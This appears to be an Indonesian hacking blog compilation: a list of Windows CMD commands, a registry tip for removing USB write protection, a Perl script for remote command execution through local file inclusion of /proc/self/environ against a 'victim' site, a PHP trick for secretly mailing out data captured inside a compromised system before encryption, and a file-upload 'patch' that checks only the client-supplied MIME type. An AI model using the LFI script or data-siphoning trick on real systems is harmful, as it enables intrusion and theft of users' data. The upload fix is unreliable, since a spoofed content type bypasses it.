Kumpulan Perintah CMD

Berikut daftar perintah pada cmd:

ADDUSERS – Memasukkan/ menambah user ke/dari file CSV.
ARP – Address Resolution Protocol
ASSOC Change – file extension associations
ASSOCIAT – One step file association

AT Schedule – Perintah untuk membuat shedule program (utk dijalankan kemudian waktu)
ATTRIB – Mengganti atribut file
BOOTCFG – Edit boot setting windows
BROWSTAT – Mencari info domain,browser dan PDC
CACLS – Mengganti/mengubah file permissions
CALL – Memanggil sebuah program batch
CD – Memindahkan ke sebuah folder tertentu.
CHANGE – Mengubah Properties pada Terminal Server
CHKDSK – Memeriksa dan memperbaiki file system
CHKNTFS – Memeriksa NTFS file system
CHOICE – Menerima input keyboard ke dalam sebuah batch file
CIPHER – Encrypt-Decrypt files/folders
CleanMgr – Membersihkan secara otomatis Temporary files, recycle bin
CLEARMEM – Membersihkan memory
CLIP – meng-Copy STDIN ke Windows clipboard.
CLS – Membersihkan layar CMD
CLUSTER – Windows Clustering
CMD – Membuka layar CMD/ command prompt
COLOR – Mengganti warna pada window CMD
COMP – Membandingkan isi dari 2 atau lebih file
COMPACT – kompres file/folder di dalam partisi NTFS
COMPRESS – kompres file individu di dalam partisi NTFS
CON2PRT – Connect atau disconnect sebuah Printer
CONVERT – Convert FAT drive menjadi NTFS.
COPY – Copy 1 atau lebih file ke lokasi tertentu
CSVDE – Import/Export Active Directory data
DATE – Menampilkan/mengatur tanggal
Dcomcnfg – DCOM Configuration Utility
DEFRAG – Defragment hard drive
DEL – Menghapus 1 atau lebih file

DELPROF – Menghapus User Profile NT
DELTREE – Menghapus sebuah folder beserta subfolder
DevCon – Device Manager Command Line Utility
DIR – Menampilkan daftar file/folder dari sebuah drive
DIRUSE – Menampilkan disk usage/kapasitas disk
DISKCOMP – Membandingkan isi dari 2 buah floppy disk
DISKCOPY – Copy isi dari sebuah floppy disk ke floppy disk lainnya
DNSSTAT – DNS Statistics
DOSKEY – Mengedit command line,recall commands,dan create macros
DSADD – Menambah user (computer, group..) ke dalam active directory
DSQUERY – Menambah item ke dalam active directory
DSMOD – Modify user (computer, group..) di dalam active directory
ECHO – Menampilkan message pada monitor
ERASE – Menghapus satu atau lebih file
EXIT – keluar dari window CMD
EXPAND – Uncompress file
EXTRACT – Uncompress CAB files
FC – Membandingkan 2 buah file
FDISK – Disk Format dan partition
FIND – Mencari sebuah text string di dalam sebuah file
FINDSTR – Mencari strings di dalam files
FOR /F -Loop command: untuk beberapa files sekaligus
FOR – Loop command: all options Files, Directory, List
FORFILES – Batch process multiple files
FORMAT – Memformat sebuah disk
FREEDISK – Menampilkan free disk space (dalam bytes)
FSUTIL – File and Volume utilities
FTP – File Transfer Protocol
FTYPE – Menampilkan/mengubah file types yg digunakan dalam file extension
GLOBAL – Menampilkan daftar anggota dalam global groups
GOTO – Mengarahkan sebuah program batch untuk melompat ke labelled line
HELP – Online Help
HFNETCHK – Network Security Hotfix Checker
IF – Conditionally perform a command (perintah bersyarat)
IPCONFIG – Configure IP
KILL – Menghapus program dari memory
LABEL – Memberi/mengubah label disk
LOCAL – Menampilkan daftar anggota local groups
LOGEVENT – Menulis text ke dalam NT event viewer.
LOGOFF – Keluar dari system / Mengeluarkan user dari system
LOGTIME – mencatat tanggal dan waktu dalam sebuah file
MAPISEND – Mengirim e-mail dari command line
MEM – Menampilkan memory usage
MD – Create new folders
MODE – Configure a system device
MOUNTVOL – Mengatur Mount point dalam sebuah volume.

MOVE – Memindahkan file dari sebuah folder ke folder lain
MOVEUSER – Menindahkan user dari sebuah domain ke domain lain
MSG – Mengirim message
MSIEXEC – Microsoft Windows Installer
MSINFO – Windows NT diagnostics
MSTSC – Terminal Server Connection (Remote Desktop Protocol)
MUNGE – Mencari dan Menganti text di dalam sebuah file (find & replace)
MV – Meng-copy file yang sedang/sementara digunakan
NET – Mengatur network resources
NETDOM – Domain Manager
NETSH – Configure network protocols
NETSVC – Command-line Service Controller
NBTSTAT – Menampilkan networking statistics (NetBIOS over TCP/IP)
NETSTAT – Menampilkan networking statistics (TCP/IP)
NOW – Menampilkan current Date and Time
NSLOOKUP – Name server lookup
NTBACKUP – Backup folders
NTRIGHTS – Edit user account rights (wilayah akses yg diizinkan oleh admin)
PATH – Menampilkan atau mengatur search path untuk executable files
PATHPING – Melacak route plus network latency dan packet loss
PAUSE – Menahan proses sebuah batch file and menampilkan message
PERMS – Menampilkan permissions (wilayah akses) user
PERFMON – Performance Monitor
PING – Menguji (test) network connection
POPD – Restore previous value dari sebuah directory yang di-save oleh PUSHD
PORTQRY – Menampilkan status ports dan service
PRINT – Print text file
PRNCNFG – Menampilkan, mengatur, atau mengubah nama printer
PRNMNGR – Menampilkan, menghapus, atau menambah daftar printer; set default printer
PROMPT – Mengubah command prompt
PsExec – Menjalankan proses jarak jauh (remote)
PsFile – Menunjukkan file2 yang dibuka dari jarak jauh
PsGetSid – Menampilkan SID sebuah computer atau user
PsInfo – Menampilkan informasi dari sebuah system
PsKill – Menghentikan proses melalui process ID
PsList – Menampilkan detail informasi dari sebuah proses
PsLoggedOn – Who’s logged on (mengecek secara lokal atau melalui resource sharing)
PsLogList – Event log records
PsPasswd – Mengubah account password
PsService – Menampilkan dan mengubah services
PsShutdown – Shutdown atau reboot computer
PsSuspend – Suspend/menahan proces
PUSHD – Menyimpan/Save dan mengganti current directory
QGREP – Mencari kata/kalimat di dalam file yg sesuai dgn pola/line yg ditentukan.
RASDIAL – Mengatur RAS connections
RASPHONE – Mengatur RAS connections

RECOVER – Memulihkan/Recover damaged file dari sebuah disk defective (rusak).
REG – Membaca, mengatur, atau menghapus registry keys dan values
REGEDIT – Mengimport/mengeksport registry settings
REGSVR32 – Register/unregister file DLL atau ocx
REGINI – Mengubah Registry Permissions
REM – Merekam/mencatat comments (remarks) di dalam sebuah batch file
REN – mengubah nama file
REPLACE – Mengganti/Replace atau meng-update sebuah file dengan file line
RD – Delete folder
RDISK – Create Recovery Disk
RMTSHARE – Share folder atau printer
ROUTE – Memanipulasi network routing tables
RUNAS – Menjalankan sebuah program dgn menggunakan user account lain.
RUNDLL32 – Menjalankan sebuah DLL command (add/remove print connections)
SC – Service Control
SCHTASKS – Create or Edit Scheduled Tasks
SCLIST – Display NT Services
ScriptIt – Control GUI applications
SET – Display, set, atau remove environment variables
SETX – Set environment variables secara permanent
SHARE – Mendaftar atau edit sebuah file share atau print share
SHORTCUT – Create windows shortcut (.LNK file)
SHOWGRPS – Menampilkan daftar NT Workgroups atau user yang telah joined
SHOWMBRS – Menampilkan daftar Users yg merupakan member dari sebuah Workgroup
SHUTDOWN – Shutdown computer
SLEEP – Menunggu selama beberapa saat
SOON – Menjadwal(schedule) sebuah command untuk beberapa waktu kemudian
SORT – Sort input
START – membuka sebuah window baru, untuk menjalankan program atau command tertentu
SU – Switch User
SUBINACL – Edit file & folder Permissions, Ownership serta Domain
SUBST – Menyesuaikan sebuah path dengan drive letter
SYSTEMINFO – Menampilkan daftar system configuration
TASKLIST – Menampilkan daftar aplikasi dan service yang sedang berjalan
TIME – Menampilkan atau mengubah waktu pada system
TIMEOUT – Delay processing sebuah batch file
TITLE – Menentukan judul window untuk sebuah session CMD.EXE
TOUCH – mengubah timestamps sebuah file
TRACERT – Melacak route ke sebuah remote host
TREE – Tampilan grafis dari struktur folder
TYPE – Menampilkan isi dari sebuah text file
USRSTAT – Menampilkan daftar domain usernames dan last login
VER – Menampilkan version information
VERIFY – Memeriksa apakah files telah ter-save
VOL – Menampilkan disk label
WHERE – Mencari dan menampilkan files di dalam sebuah directory tree.

Cara Hapus Write Protection

Write Protection merupakan langkah aman yang dilakukan oleh user untuk melindungi flash disk maupun removeable disk lainnya dari ancaman virus ataupun pengguna yang tidak diperkenankan untuk menghapus file dari removable disk ataupun memindahkan file ke dalam Removeable Disk termasuk flash disk.

Jadi jika ada yang menanyakan “Bagaimana ciri-ciri komputer yang menggunakan perlindungan tersebut ?” Biasanya,jika seseorang menggunakan Write Protection tersebut maka pada saat memasukkan data ke Removeable disknya akan menampilkan pesan “Cannot copy ***** : The disk is write-protected. Remove the write protection or use another disk.” Yang artinya “Tidak dapat menyalin ***** : disk terlindungi. Hapus perlindungan penulisan atau gunakan disk yang lain.”

Saya sarankan agar sebelumnya anda harus memperhitungkan kapan anda harus atau tidak harus menghapus Write Protection ini,karena ini adalah termasuk langkah berbahaya jika komputer anda memang sedang terjangkit virus.kenapa saya katakan berbahaya?karena jika write protection ini anda hapus maka sangat mudah bagi virus atau malware lainnya untuk menginfeksi file yang ada pada removeable ataupun flash disk anda sendiri. untuk membukanya silahkan ikuti petunjuk berikut ini

Okay, tanpa perlu basa-basi saya akan jelaskan langkah-langkahnya :

1. Pertama,buka Registry Editor. Caranya,klik button start – Run – lalu ketik Regedit dan tekan Enter.
2. Langkah kedua,Expand HKEY_LOCAL_MACHINE - SYSTEM - CurrentControlSet - Control - lalu klik pada StorageDevicePolicies.

3. Lalu klik 2 kali pada Tulisan WriteProtect pada bagian kanan window registry editor.

maka akan tampil window seperti gambar dibawah :

Isikan dengan nilai 0 (nol) . Lalu klik Ok . dan tutup Jendela/window Registry Editor.
Selesai.

Setelah anda melakukan langkah-langkah diatas maka dengan bebas anda dapat menghapus file di Flash disk ataupun menyalin file ke flash disk maupun removeable disk anda .

Jika anda menginginkan sebaliknya,agar removeable disk anda ingin di write-protect ,maka ganti nilai 0 (nol) menjadi 1 (satu).(lihat langkah 3)

Okay,semoga bisa membantu. Harap di-Share
 Terima kasih 

LFI Remote Execute in PERL

Script berikut untuk menjalankan/mengeksekusi LFI proc/elft/environ secara simple di shell.

#! /usr/bin/perl
use LWP;
use HTTP::Request;
if (@ARGV < 1)
{
print "\n==========================================\n";
print " LFI Command Execution \n";
print "==========================================\n";
print "Usage: perl LFI.pl  (without http:://)\n";
print "Ex. perl FLI.pl www.korban.com/index.php?page=\n";
exit;
}
$host=$ARGV[0];
$lfi = "..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron";
print "Try to Execution Command!\n";
print "iDSc-shell# ";
chomp( $cmd =  );
while($cmd !~ "exit")
{
$content = "";
$ua = LWP::UserAgent->new();
$ua->agent('');
$request = HTTP::Request->new (GET => "http://".$host.$lfi."&cmd=".$cmd);
$response = $ua->request ($request);
$content = $response->content;
print $content."\n";
print "iDSc-shell# ";
chomp( $cmd =  );
}

Cara menggunakannya adalah:
1. Install perl di komputer anda / komputer target (bersyukurlah kalau sudah terinstall)
2. Save file di atas: “LFI.pl”
3. Kemudian jalankan dengan perintah: “perl FLI.pl www.targetwebsiteanda.com/index.php?page=\n”
4. Tunggu hasilnya
Semoga berhasil & selamat mengeksplore!

Email Logging Information

Apa kabar semuanya
Berikut ini gw mau jelasin trik yang sangat menarik buat anda pelajarin. Merupakan sebuah logging informasi data yang masuk, dan kemudian dikirim ke email kita. Ini sempet dibahas di BinusHacker Hack Show 30 Mei 2009 di #BinusHacker @Irc.Dal.Net
Lets begin!
Memaksimalkan Fungsi Email
= Hacking is Knowledge =
Tujuan dari memaksimalnya email pada topic ini adalah untuk logging informasi & data!
Pertama:
Kita menggunakan script PHP (Private Home Page)
Fungsi yang kita pake adalah mail();
Dimana pengiriman email dilakukan:
contoh:

<?php

// Contoh penggunaan
$Orangnya = “Budi Anduk”;
$NoId = “123456789″;
$CID = “234″;
$Exp = “10/2009″;
$Nama = “Nama Pengirim”;
$Emailnya = “email@pengirim.com”; // Email Pengirim
$Penerima = “emailanda@yahoo.com”; // Email Anda Sebagai Penerimas
$IsiEmail = “Berikut Ini Isi Log Data: “. $Orangnya .” “. $NoId .” “. $CID .” “. $Exp .” “; // Isi Email
$Subject = “Logging Data & Informasi”; // Judul Email
$Header = “From: “. $Nama . ” <” . $Emailnya . “>\r\n”; // Untuk Header
mail($Penerima, $Subject, $IsiEmail, $Header);
?>
Dari contoh di atas maka dapat kita simpulkan bahwa, kita bisa menggunakan fasilitas pengirim email untuk melakukan logging
Terkadang banyak file yang terenkripsi yang ada didatabase
Sehingga kita susah untuk melakukan decryptnya
Maka cara ini dapat kita gunakan..
Jika kita mendapatkan sebuah target dalam system,
dan disitu terjadi aktifitas pengiriman data ke database server dari client
Maka, kita dapat melakukan pengambilan data sebelum dilakukan encyption
Dengan cara menyisipkan variable” baru, yang bisa kita gunakan untuk menyimpan informasi & data
Kemudian kita kirim ke email kita tanpa terenkripsi sama skali..
Enak bukan? Hahahha.. That is the concept!
Silakan baca artikel, analisa script, silakan download dibawah:
Nah, untuk penjelasan lengkapnya anda bisa download tutorial dan ujicoba lengkapnya di:
http://www.indowebster.com/EmailLoggingHckShow.html
Untuk melakukan hasil contohnya, anda upload semua file ke sebuah hosting, kemudian praktekkan sesuai dengan contoh.
Jangan lupa ganti email pengirim menjadi:

&lt;?

$Penerima = “emailanda@domainemailanda.com”; // Email Anda Sebagai Penerima
?>
Selamat mencoba! Semoga berhasil

PHP Arbitrary File Upload Simple Patching

Saya akan membahas tentang cara simple mempatch PHP Arbitrary File Upload.

Kebanyakan website yang vuln diupload memiliki garis besar seperti ini:
Contoh simple upload.php file upload.

<?php
$uploaddir = 'uploads/'; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>

Contoh form yang dipake dalam file index untuk upload:

<form name="upload" action="upload.php" method="POST" ENCTYPE="multipart/formdata">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>

Disini tidak ada code yang memfilter upload filetype.
Jadi kita bisa langsung saja upload: shell.php
Patching yg bisa dilakukan adalah menambahkan filter filetype dalam script upload.php
Contohnya:

<?php
if($_FILES['userfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>

Untuk “images/gif” bisa diganti dengan “images/jpg” dll…
Kita liat backgound request uploadnya

POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data;
Content-Length: 156
Content-Disposition: form-data; name="userfile"; filename="shell.php"
...
...
-
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/5.2.2-pl6-gentoo
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images

Hehehe..
Happy Patching..